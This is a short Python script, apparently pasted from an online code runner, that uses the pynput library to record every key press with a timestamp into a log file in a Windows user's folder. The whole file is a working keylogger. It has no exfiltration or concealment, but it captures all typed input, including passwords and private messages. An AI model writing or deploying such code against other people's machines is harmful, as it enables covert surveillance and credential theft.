from pynput.keyboard import Key, Listener
import logging

log_dir = "C:/Users/AgentSmith/log/"

logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG,format='%(asctime)s: %(message)s')

def on_press(key):
    logging.info(key)

with Listener(on_press=on_press) as listener:
    listener.join()
# your code goes here